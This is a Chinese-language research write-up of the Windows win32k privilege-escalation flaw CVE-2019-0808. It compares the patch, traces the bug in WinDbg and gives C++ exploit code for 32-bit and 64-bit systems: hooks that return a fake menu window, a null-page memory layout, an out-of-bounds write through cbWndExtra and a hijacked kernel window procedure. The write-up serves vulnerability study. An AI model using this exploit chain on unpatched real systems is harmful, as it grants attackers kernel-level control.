CVE-2019-0808
漏洞成因及觸發
通過搜索資料了解到CVE-2019-0808
的漏洞函數位於win32k!xxxMNFindWindowFromPoint
,為了了解漏洞成因,我們先分析一下補丁是如何修復的。
補丁對比
通過BinDiff對比可以看到在HMValidateHandleNoSecure
后額外添加了一個safe_cast_fnid_to_PMENUWND
函數對返回的tagWND
對象進行校驗,而不是僅僅判斷tagWND
是否為0。
補丁細節
通過下面代碼可以看到在補丁后,首先通過safe_cast_fnid_to_PMENUWND
檢查了窗口對象是否為FNID_MENU(fnid = 0x29C)
,如果通過safe_cast_fnid_to_PMENUWND
檢查(表明這的確是一個類為#32768
的菜單窗口對象),那么將會對tagWND->cbWndExtra
和其指向的tagPOPUPMENU->spMenu
進行檢查,這里對菜單窗口的解釋引用一下琦哥的文章 🍉
在 Windows 內核中,菜單對象在屏幕中的顯示通過窗口
tagWND
對象的特殊類型#32768
(MENUCLASS
) 菜單窗口對象來實現,菜單窗口對象末尾的擴展區域中存儲指向關聯的彈出菜單tagPOPUPMENU
對象的指針
unsigned int __stdcall safe_cast_fnid_to_PMENUWND(tagWND *a1)
{
unsigned int result; // eax
if ( a1 )
result = (a1->fnid & 0x3FFF) == 0x29C ? (unsigned int)a1 : 0;
else
result = 0;
return result;
}
v7 = (tagWND *)safe_cast_fnid_to_PMENUWND(v6);
if ( !v7 )
return 0;
v8 = (tagPOPUPMENU *)v7[1].head.h;
if ( !v8 || !v8->spmenu )
return 0;
思考
為什么在補丁后對tagWND
做了額外的校驗,通過向上觀察代碼可以發現,這個窗口句柄是通過調用xxxSendMessage
向tagPOPUPMENU->spwndNextPopup
發送MN_FINDMENUWINDOWFROMPOINT
消息后返回的,那么我們是不是可以通過修改tagPOPUPMENU->spwndNextPopup
的窗口處理函數來返回一個偽造的窗口句柄。
- 為什么是給
tagPOPUPMENU->spwndNextPopup
發送消息?- 在IDA中通過交叉引用可以看到漏洞函數
win32k!xxxMNFindWindowFromPoint
是由win32k!xxxMNMouseMove
調用的,而win32k!xxxMNMouseMove
是菜單窗口過程處理函數用來處理鼠標在菜單內移動的消息,如果此時鼠標由主彈出菜單移動到了子彈出菜單,那么在win32k!xxxMNFindWindowFromPoint
內部就會通過xxxSendMessage
對子彈出菜單發送消息來獲取子彈出菜單的句柄,用來在后續代碼中對子彈出菜單發送消息來完成繪制和鼠標選中等效果。
- 在IDA中通過交叉引用可以看到漏洞函數
-
創建合適的彈出菜單
- 如果我們按照如下的代碼創建了一個包含子彈出菜單
hMenuSub
的彈出菜單hMenuRoot
,至於下面為什么要將菜單dwStyle
設置為MNS_DRAGDROP
,我們后面漏洞利用時再展開,設置MNS_MODELESS
是因為模態對話框會導致其他用戶界面對象接收不到消息。
HMENU hMenuRoot = CreatePopupMenu(); HMENU hMenuSub = CreatePopupMenu(); MENUINFO mi = { 0 }; mi.cbSize = sizeof(MENUINFO); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP; //非模態菜單 SetMenuInfo(hMenuRoot, &mi); SetMenuInfo(hMenuSub, &mi); AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root"); AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
- 雖然菜單創建完成了,但是並不能顯示在桌面上,由下圖可以看到
CreatePopupMenu
只是初始化了tagMENU
結構體,但是想要在桌面上顯示還需要一個tagWND
窗口對象作為媒介來傳遞消息,就像上面說的是通過一個類為#32768
的窗口對象來顯示菜單,在應用層可以使用TrackPopupMenuEx(已文檔化)
來顯示。
- 如果我們按照如下的代碼創建了一個包含子彈出菜單
修改后的代碼及運行效果如下:
TrackPopupMenuEx
那么在TrackPopupMenuEx
內部是如何實現對彈出菜單的管理以及我們應該在何地何時劫持MN_FINDMENUWINDOWFROMPOINT
消息並返回偽造的窗口對象呢,接下來我們開始簡單分析一下TrackPopupMenuEx
內部實現xxxTrackPopupMenuEx
:
- 在
xxxTrackPopupMenuEx
內部通過xxxCreateWindowEx
為彈出菜單對象創建了一個類型為#32768
的窗口對象,在tagWND
的末尾拓展區域存放了一個tagPOPUPMENU
結構,並對tagPOPUPMENU
進行初始化
- 然后創建了一個
tagMENUSTATE
結構體用來描述彈出菜單的各種狀態
menuState = xxxMNAllocMenuState(v23, v22, v17);
- 在最后通過
xxxWindowEvent
向用戶層發送EVENT_SYSTEM_MENUPOPUPSTART(0x6)
事件消息通知應用層的事件回調,微軟文檔介紹如下,在應用層可以通過SetWinEventHook
來注冊
EVENT_SYSTEM_MENUPOPUPSTART
(0x0006)A pop-up menu has been displayed. The system sends this event for standard menus, which are identified by HMENU, and are created using menu-template resources or Win32 menu functions. Servers send this event for custom menus, which are user interface elements that function as menus but are not created in the standard way. This event is not sent consistently by the system.
- 通過在
WinDbg
中跟蹤發現這里的xxxWindowEvent
並沒有立即調用用戶回調,而是采用異步的方式放入了消息隊列,這里猜測是因在應用層調用TrackPopupMenuEx
時還沒有執行到應用層的消息循環,因此在xxxTrackPopupMenuEx
內部發送的一系列創建顯示彈出菜單的消息還在消息隊列還沒有被窗口過程處理,所以xxxWindowEvent
采用的異步的方式等到彈出菜單真正被創建時才調用的用戶回調。 - 我們在
Windbg
中觀察一下在xxxTrackPopupMenuEx
中完成對tagPOPUPMENU
初始化后的情況,通過下圖可以看到xxxTrackPopupMenuEx
已經為hMenuRoot
創建了一個#32768
窗口(spwndPopupMenu
),但是spwndNextPopup
卻為空,不知道大家還記得上面在思考這章開頭,在win32k!xxxMNFindWindowFromPoint
中調用xxxSendMessage
是給哪個窗口發送的消息,沒錯就是給spwndNextPopup
窗口,但是這里為什么spwndNextPopup
域卻為空呢?其實很簡單,我們在桌面右鍵顯示彈出菜單的時候,初始狀態由於我們鼠標沒有移到含有子彈出菜單的菜單項上(如查看
項),默認是不會顯示的。
- 返回偽造窗口的時機
通過上面的分析,我們已經有了一個大概的思路:
- 首先通過
SetWinEventHook
注冊EVENT_SYSTEM_MENUPOPUPSTART
類型的事件回調,在xxxTrackPopupMenuEx
內部向消息隊列放入彈出菜單創建的事件的消息后,會在TrackPopupMenuEx
執行完后我們的消息循環中進行觸發,因此第一次進入我們的事件回調時是hMenuRoot
的繪制完成的時候 - 這時我們在事件回調中給當前菜單窗口句柄(也就是
xxxTrackPopupMenuEx
內部創建的#32768
窗口)發送一個WM_LBUTTONDOWN
消息(這里既是為了創建並顯示子彈出菜單也是為了配合后面鼠標移動的消息形成拖拽動作,具體原因在后面利用再詳細解釋),這時就會觸發子彈出菜單的顯示(這里要注意給子彈出菜單創建#32768
窗口是在處理WM_LBUTTONDOWN
消息的過程中,而不是在xxxTrackPopupMenuEx
中) - 由於子彈出菜單的創建,因此會第二次進入到我們的事件回調,這時我們向子彈出菜單發送一個
WM_MOUSEMOVE
消息,此時會形成一個從root
向sub
的拖拽動作,具體代碼具體為如下:
- 如果我們在漏洞函數
win32k!xxxMNFindWindowFromPoint
下過斷點,在發送WM_MOUSEMOVE
后就會斷下,此時堆棧如下:
1: kd> k
# ChildEBP RetAddr
00 95a6ba28 8364943c win32k!xxxMNFindWindowFromPoint
01 95a6ba64 83649066 win32k!xxxMNMouseMove+0x4d
02 95a6bac0 8367e233 win32k!xxxHandleMenuMessages+0x2ed
03 95a6bafc 8364e4a4 win32k!xxxCallHandleMenuMessages+0x8d
04 95a6bb54 835c94f3 win32k!xxxMenuWindowProc+0x125
05 95a6bb94 83589709 win32k!xxxSendMessageTimeout+0x1ac
06 95a6bbbc 83596330 win32k!xxxWrapSendMessage+0x1c
07 95a6bbd8 835cb4cd win32k!NtUserfnNCDESTROY+0x27
08 95a6bc10 83e541ea win32k!NtUserMessageCall+0xc9
09 95a6bc10 77c970b4 nt!KiFastCallEntry+0x12a
0a 004cfa84 760b4f51 ntdll!KiFastSystemCallRet
0b 004cfa88 760b0940 USER32!NtUserMessageCall+0xc
0c 004cfac4 760b5582 USER32!SendMessageWorker+0x546
0d 004cfae4 000cfbec USER32!SendMessageW+0x7c
- 我當時分析時立馬產生了一個想法,我們是不是可以就在這次進入漏洞函數
win32k!xxxMNFindWindowFromPoint
時返回偽造的窗口句柄呢,馬上測試,我們首先在應用層通過SetWindowsHookEx
注冊一個窗口過程回調(WH_CALLWNDPROC
),在回調中我們判斷是否為MN_FINDMENUWINDOWFROMPOINT
消息,如果是則通過SetWindowLongPtr
替換子菜單窗口的窗口過程,並在我們的窗口過程中返回事先已經創建好的偽造#32768
窗口,具體代碼如下:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx's handler
//
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
PCWPSTRUCT msg = (PCWPSTRUCT)lParam;
//__debugbreak();
if (msg->message == MN_FINDMENUWINDOWFROMPOINT)
{
cout << "msg: 0x" << hex << msg->message;
cout << "\thwnd: 0x" << hex << msg->hwnd;
auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
cout << "\thwnd_kernel: 0x" << hex << hwnd_kernel << endl;
SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub's tagMenuWnd
//
LRESULT CALLBACK FakeWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);
return (LRESULT)g_fakeWnd;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
- 在
WinDbg
中觀察xxxSendMessage
發送MN_FINDMENUWINDOWFROMPOINT
消息后返回的窗口句柄,從下圖可以看到已經被替換為我們創建的偽造窗口句柄,那我們是不是已經觸發漏洞了的,但其實只能說觸發了一半,為啥呢?
- 雖然我們已經成功替換了菜單窗口,並由
xxxMNFindWindowFromPoint
返回給上層函數xxxMNMouseMove
,但在xxxMNMouseMove
中檢查了tagMENUSTATE
的fInDoDragDrop
標志位是否置位,才會進入xxxMNUpdateDraggingInfo
函數,只有xxxMNUpdateDraggingInfo
這個函數里面才使用了xxxMNFindWindowFromPoint
返回的tagWND->tagPOPUPMENU->spMenu
域,而這個spMenu
在我們自己創建的#32768
窗口中是沒有初始化的,也就是為0,在Win7中我們是可以通過申請零地址頁面來控制這塊數據的,因此現在的關鍵就是要在xxxMNFindWindowFromPoint
之后進入xxxMNUpdateDraggingInfo
函數,也就等價於要將fInDoDragDrop
置位。
- 通過網上公開的分析資料了解到可以通過手動調用
NtUserMNDragOver
將tagMENUSTATE
中的fInDoDragDrop
置位並進入xxxMNMouseMove
函數,所以上面我的猜想(在第二次觸發事件回調時發送WM_MOUSEMOVE
消息並返回偽造的窗口句柄)雖然可以成功在xxxSendMessage
后返回偽造的窗口句柄,但並不會進入xxxMNUpdateDraggingInfo
函數因而無法進行利用。
- 因此我們需要定義一個全局變量來控制我們該何時在窗口過程回調中替換子菜單窗口的窗口過程,因為在第二次事件回調中由於我們發送了
WM_MOUSEMOVE
,所以會觸發xxxSendMessage
來發送MN_FINDMENUWINDOWFROMPOINT
消息(上面已經貼出了處理WM_MOUSEMOVE
消息的調用堆棧),這會被我們的窗口過程回調所捕獲,因此我們需要這個全局變量來控制第一次進入窗口過程回調時不采取任何動作,而是在我們手動調用NtUserMNDragOver
后進入xxxMNMouseMove->xxxMNFindWindowFromPoint->xxxSendMessage
時替換子菜單窗口的窗口過程,因此我們的窗口過程回調需要稍作修改,並在手動調用NtUserMNDragOver
前將全局變量bOnDrag
置1:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx's handler
//
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
PCWPSTRUCT msg = (PCWPSTRUCT)lParam;
//__debugbreak();
if (msg->message == MN_FINDMENUWINDOWFROMPOINT && bOnDrag)
{
cout << "msg: 0x" << hex << msg->message;
cout << "\thwnd: 0x" << hex << msg->hwnd;
auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
cout << "\thwnd_kernel: 0x" << hex << hwnd_kernel << endl;
SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
MSG msg = { 0 };
while (GetMessage(&msg,NULL,NULL,NULL))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
if (g_MenuCreate == 2)
{
bOnDrag = true;
POINT pt;
char buf[100];
pt.x = 2;
pt.y = 2;
//__debugbreak();
NtUserMNDragOver(&pt, buf);
g_MenuCreate++;
break;
}
}
32位利用
經過上面分析和修改相應代碼后,我們在xxxMNUpdateDraggingInfo
中下斷就已經可以斷下了,我們先來分析一下32位上的利用,x64上大同小異,只有在繞過比較時會有少許不同,我們后面再講。
對xxxMNUpdateDraggingInfo
進行簡單的靜態分析可以發現,我們需要解決的問題主要有以下幾個,我們接下來一個一個解決。
第一個問題
首先第一個問題是我們在調用MNGetpItem
時,我們如何知道它的第二個參數v3->uDraggingIndex
的值,並且如何確保MNGetpItem
的返回值v8
不為零並且為我們想要任意寫的地址減4,這本來是第6個問題的,先提前在這里講一下,在xxxMNSetGapState
中也調用了MNGetpItem
,並且如果v3->uDraggingFlags = 2
(第5個問題)時,會對MNGetpItem的
(返回值+4)進行一個或上0x40000000
的操作,因此我們在第6個步驟中獲得了一個任意地址或上0x40000000
的能力,這個可以進一步轉化為越界寫,后面再細講,我們先分析一下MNGetpItem
的內部實現:
由於我們在xxxMNFindWindowFromPoint->xxxSendMessage
返回了一個偽造的未經初始化的菜單窗口對象,其窗口拓展區域存儲的tagPOPUPMENU
對象也是未經初始化的,即tagPOPUPMENU->spmenu
成員 為0,因此我們可以在應用層通過ZwAllcoateVirtualMemory
申請0地址頁面,從而就可以控制上面MNGetpItem
中的執行邏輯,在上面我們提到了我們要使MNGetpItem
返回不為0並且為我們想要任意寫的地址減4的值,因此我們就需要在地址0x20的位置設置一個大於uDraggingIndex
的值,那么uDraggingIndex
又等於多少,我們能在應用層知道嗎,通過向上回溯,發現uDraggingIndex
是在xxxMNFindWindowFromPoint->xxxSendMessage
作為第三個參數傳入的,因此我們可以在應用層FakeWindowProc
窗口回調中得到uDraggingIndex
的值,並且設置零地址頁面數據的操作也要在此進行,因為只有在這里我們才能確定uDraggingIndex
的值,才能准確計算任意寫的地址,FakeWindowProc
代碼如下:
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub's tagMenuWnd
//
LRESULT CALLBACK FakeWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);
cout << "wParam:0x" << hex << *(PULONG)wParam << endl;
g_uDraggingIndex = *(PULONG)wParam ;
SetNullPageData();
return (LRESULT)g_fakeWnd;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
再回來繼續觀察MNGetpItem
的代碼,現在我們能夠准確得到uDraggingIndex
的值了,因此我們只需要將地址0x20的值設置為大於uDraggingIndex
就可以繞過if
判斷,但是為什么我要設置為uDraggingIndex + 1
呢,具體原因在第6個問題里面再講,可以看到MNGetpItem
最終的返回值計算方式為result = (tagITEM *)(*(_DWORD *)(NullPage + 0x34) + 0x6C * uDraggingIndex)
,因此地址0x34的位置的值(即下圖的offset1)要為我們想任意寫地址減去0x6C * uDraggingIndex
再減去4,在下圖可以看到offset1 = g_primaryWnd - g_uDraggingIndex * 0x6C + 0x90 -0x4;
即想任意寫的地址為g_primaryWnd + 0x90
,即為tagWND->cbWndExtra
,講到這里大家可能已經明白了,我們是想通過修改tagWND->cbWndExtra
來通過SetWindowLongPtr
來進行越界寫,因此在最初我就創建了0x100個窗口,並取了最后兩個窗口作為操作對象。
第四個問題
由於第一個問題解決后,因此MNGetpItem
返回值是大於零的,第二個問題解決,
第三個問題是要保證v8+20
表示的地址能夠正確訪問,由於v8 = g_primaryWnd + 0x90 -0x4
的(見上面對offset1的計算),而由於通過SparyWindow
函數進行了連續申請,因此g_secondWnd
與g_primaryWnd
是緊緊相鄰的,因此v8+20
地址處肯定是可以訪問的,第三個問題解決,
這里來到最重要的第四個問題,簡單的來說就是我們要使地址addr1 = 0x6C * *(0x4C) + *(0x34) + 0x28
可以訪問(后面簡稱addr1),並且要使v10
的值大於后面兩個if
判斷中的值(即第5個問題)才能使到達v3->uDraggingFlags = 2;
,為什么要使uDraggingFlags = 2
上面已經講過了,因此我這里產生了一個想法,如果我能夠使addr1通過整數溢出重定位到0地址附近是不是就可以由我們控制了呢?
現在我們來簡化一下addr1
的算式,由於*(0x34) = offset1
(見下圖),因此addr1 = 0x6C * offset2 + offset1 + 0x28
,如果我們想把addr1重定位為0x28
地址只需offset2 = (0 - offset1)/0x6C
(offset1是已知的),但是這里可能會出現一種情況,就是(0 - offset1)/0x6C
無法除盡,有余數,這樣的話addr1最后計算出來就有可能在[-0x44,0x28]
之間浮動,如果addr1落在了[-0x44,0)
這個區間,這個地址肯定是不可讀的,因此肯定會藍屏,因此如下圖所示offset2 = (0 - offset1)/0x6C+2
,對offset2
額外進行了+2
,因此落入的區間肯定是在0地址往后,至於為什么不是+1
,其實我一開始是+1
的,后面發現+1
的addr1可能落在區間[0x28,0x94)
,因此有一定幾率覆蓋offset1
,從而導致在第三個問題那里發生訪問異常。offset2確定后,addr1的位置就可以計算了,算式如下圖*(PULONG_PTR)(NullPage + 0x28 + (2 * 0x6C - offset2_remainder)) = 0x7ffffffe
,即減去(0 - offset1)/0x6C
的余數即可,至於為什么設置為0x7ffffffe
,是因為第5個問題那里是進行的有符號數比較,那為什么不是0x7fffffff
?,你設置為0x7fffffff
調試一下就知道了 😄
第六個問題
在四個問題中我們同時解決了第五個問題,現在我們來看一下最后一個問題即xxxMNSetGapState
,在上面可以看到總共調用了兩次xxxMNSetGapState
,由於第一次參數fSet = 0
,不會觸發與操作(見下圖),因此我們主要關注第二次xxxMNSetGapState
調用,由於上面我們已經解決了第五個問題,uDraggingFlags = 2 | 4 = 6
,因此最終會走到下圖紅框處*(v6 + 4) |= 0x40000000u,v6
是MNGetpItem
的返回值,我們已經通過計算使其等於待寫地址減4,因此*(v6 + 4) |= 0x40000000u將會導致一次任意地址或上0x40000000
的操作,上面我說過我們將地址0x20處設置為g_uDraggingIndex + 1
,這里就可以解釋了,因為設置為g_uDraggingIndex + 1
可以在xxxMNSetGapState
中第一次調用MNGetpItem
時可以返回非0值,第二次返回0(見上面對MNGetpItem
的分析),至於為什么要第二次返回為0,是因為不想執行下圖的v8->fState |= 0x80000000
,因為這有可能破壞待寫地址+0x6C
的值,當然不一定會藍屏,但總歸有一定風險。
解決上面所有問題后,我們在WinDbg
中觀察一下g_primaryWnd ->cbWndExtra
字段
利用
現在我們已經修改g_primaryWnd ->cbWndExtra
字段后,問題就很簡單了,我們可以通過SetWindowLongPtr
來越界修改g_secondWnd
的lpfnWndProc
字段,因為g_secondWnd
的bServerSideWindowProc
是置一的,其默認窗口過程為win32k!xxxDefWindowProc
,即是運行在內核態的,因此我們就可以在修改g_secondWnd
的lpfnWndProc
字段后,隨即向g_secondWnd
發送一個消息觸發其窗口過程,然后我們在窗口過程中完成提權操作。
提權演示如下
64位利用
64位利用除了在零地址頁面布局有些許不同,其他的利用步驟基本一致,只需改一下某些偏移並將ShellCode在單獨的asm
文件實現
這里主要講一下在零地址布局遇到的問題,在32位利用時我提到了將addr1重定位到零地址附近,但是這在64位上卻不行了,經過分析發現原因如下,offset2
只取了低32位,而在64中由於offset1在內核地址過大,在除以0x90后得到的offset2
是超過32位的,因此在下圖只取了低32位是無法重定位到0地址附近的,因為重定位到0地址附近是依靠整數溢出的。
因此我換了一種思路,雖然無法重定位0地址附近,但是我們可以控制其位於內核固定的某個位置0x90
附近浮動,所以我改了一下32位利用時的SparyWindow
函數,在最后加上了一個窗口拓展區域大小為0x90
的窗口(如下圖),因此這個窗口g_prepareToRead
地址肯定是在g_secondWnd
之后並且緊挨着或者相隔不遠,因此我在零地址布局時通過SetWindowLongPtr
將其窗口拓展區域全部設置為0x7777777777777777
,因為是有符號比較並且不想計算具體會位於窗口拓展的哪個位置,干脆就全部設置為7算了,免的設置為大於7的萬一命中后成負數了。其他的基本和32位利用一致
提權演示如下
參考
https://xiaodaozhi.com/exploit/122.html
https://github.com/ze0r/cve-2019-0808-poc
http://blog.exodusintel.com/2019/05/17/windows-within-windows/